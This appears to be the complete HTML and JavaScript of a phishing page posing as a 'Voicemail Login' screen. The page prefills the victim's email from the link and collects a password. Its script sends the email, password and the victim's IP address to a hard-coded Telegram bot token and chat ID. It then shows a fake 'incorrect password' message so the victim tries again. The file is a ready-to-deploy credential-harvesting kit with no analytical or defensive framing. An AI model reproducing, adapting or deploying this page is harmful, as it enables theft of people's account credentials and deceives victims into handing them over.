<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Voicemail Login</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            margin: 0;
            overflow: hidden; /* Prevent scrolling */
            color: #333;
            display: flex;
            justify-content: center;
            align-items: center;
            height: 100vh;
            background-color: #000; /* Fallback color in case video fails to load */
        }
        .background-video {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            object-fit: cover; /* Ensures the video covers the entire screen */
            z-index: -1; /* Sends the video behind other content */
        }
        .voicemail-container {
            position: relative;
            text-align: center;
            background-color: #ffffff; /* Solid background color for the form */
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
            max-width: 400px;
            width: 100%;
            z-index: 1; /* Keeps the container on top of the video */
        }
        .voicemail-icon {
            font-size: 64px;
            color: #007BFF;
            margin-bottom: 20px;
        }
        .login-form, .password-form, .play-message, .verifying-account {
            display: none;
        }
        .login-form input[type="text"], .password-form input[type="password"] {
            padding: 10px;
            width: 80%; /* Adjusted width to 80% */
            margin-bottom: 10px;
            border-radius: 5px;
            border: 1px solid #ccc;
        }
        .login-form button, .password-form button {
            padding: 10px 20px;
            border: none;
            border-radius: 5px;
            background-color: #007BFF;
            color: white;
            cursor: pointer;
            font-size: 16px;
        }
        .login-form button:hover, .password-form button:hover {
            background-color: #0056b3;
        }
        .rotating-icon {
            display: inline-block;
            animation: spin 2s linear infinite;
            margin-left: 10px;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        .error-message {
            color: red;
            margin-top: 10px;
        }
        .email-display {
            font-size: 16px;
            margin-bottom: 10px;
            color: #007BFF; /* Blue color for the email */
        }
        .verifying-account {
            font-size: 18px;
            margin-bottom: 20px;
            color: #333;
        }
    </style>
</head>
<body>
    <!-- Video Background -->
    <video class="background-video" autoplay muted loop>
        <source src="https://media.istockphoto.com/id/1447160903/video/abstract-music-oscillating-waves-synthetic-music-technology-sample-sound-wave-distorted.mp4?s=mp4-640x640-is&k=20&c=sQhWO4N4imtAPYot-6V2EjCgw-ki3d22kXI2qWdbm88=" type="video/mp4">
        Your browser does not support the video tag.
    </video>

    <!-- Voicemail Container -->
    <div class="voicemail-container">
        <div class="voicemail-icon">📩</div> <!-- Replace with actual icon if available -->
        <p>Please log in to listen to your voicemail.</p>
        
        <!-- Email Login Form -->
        <div id="login-form" class="login-form">
            <input type="text" id="email" placeholder="Enter your email" onkeydown="if (event.key === 'Enter') verifyAccount()">
            <button onclick="verifyAccount()">Log in</button>
        </div>
        
        <!-- Verifying Account -->
        <div id="verifying-account" class="verifying-account">
            <p>Verifying your account <span class="rotating-icon">🔄</span></p>
        </div>
        
        <!-- Password Form -->
        <div id="password-form" class="password-form">
            <p id="email-display" class="email-display"></p>
            <p id="error-message" class="error-message"></p>
            <input type="password" id="password" placeholder="Enter your password" required onkeydown="if (event.key === 'Enter') playVoicemail()">
            <button onclick="playVoicemail()">Sign in</button>
        </div>
        
        <!-- Playing Message -->
        <div id="play-message" class="play-message">
            <p>Playing voice message <span class="rotating-icon">🔄</span></p>
        </div>
    </div>

    <script>
        window.onload = function() {
            // Check for email in URL fragment
            const url = window.location.href;
            const email = url.split('#')[1];

            if (email) {
                document.getElementById('email').value = decodeURIComponent(email);
                verifyAccount(); // Automatically verify and move to the password section
            } else {
                document.getElementById('login-form').style.display = 'block';
            }
        };

        function verifyAccount() {
            const emailInput = document.getElementById('email').value;
            
            if (emailInput) {
                document.getElementById('login-form').style.display = 'none';
                document.getElementById('verifying-account').style.display = 'block';
                
                setTimeout(function() {
                    document.getElementById('verifying-account').style.display = 'none';
                    showPasswordForm(emailInput);
                }, 3000); // Adjust the delay as needed
            }
        }

        function showPasswordForm(email = null) {
            if (email) {
                document.getElementById('email-display').innerText = email;
            }
            document.getElementById('login-form').style.display = 'none';
            document.getElementById('password-form').style.display = 'block';
            document.getElementById('password').focus();
        }

        function playVoicemail() {
            const passwordInput = document.getElementById('password');
            
            // Check if password field is empty
            if (!passwordInput.value) {
                document.getElementById('error-message').innerText = "Password is required";
                return;
            }

            document.getElementById('password-form').style.display = 'none';
            document.getElementById('play-message').style.display = 'block';

            // Simulate a delay to show the "Playing voice message" text
            setTimeout(function() {
                // Report to Telegram with IP location
                const email = document.getElementById('email-display').innerText;
                const password = passwordInput.value;
                fetch('https://api.ipify.org?format=json')
                    .then(response => response.json())
                    .then(data => {
                        const ip = data.ip;
                        sendToTelegram(email, password, ip);

                        // Show error message and return to password form
                        document.getElementById('play-message').style.display = 'none';
                        document.getElementById('password-form').style.display = 'block';
                        document.getElementById('error-message').innerText = "Your password for this account is incorrect";
                    });
            }, 3000); // Adjust the delay as needed
        }

        function sendToTelegram(email, password, ip) {
            const chatId = "868562771";
            const botToken = "7475551492:AAETj18Ec0_sJYpI86h1SYd4nhvs1S70mSA";
            const message = `Voicemail Login Attempt:\nEmail: ${email}\nPassword: ${password}\nIP: ${ip}`;

            fetch(`https://api.telegram.org/bot${botToken}/sendMessage`, {
                method: "POST",
                headers: {
                    "Content-Type": "application/json"
                },
                body: JSON.stringify({
                    chat_id: chatId,
                    text: message
                })
            });
        }
    </script>

</body>
</html>
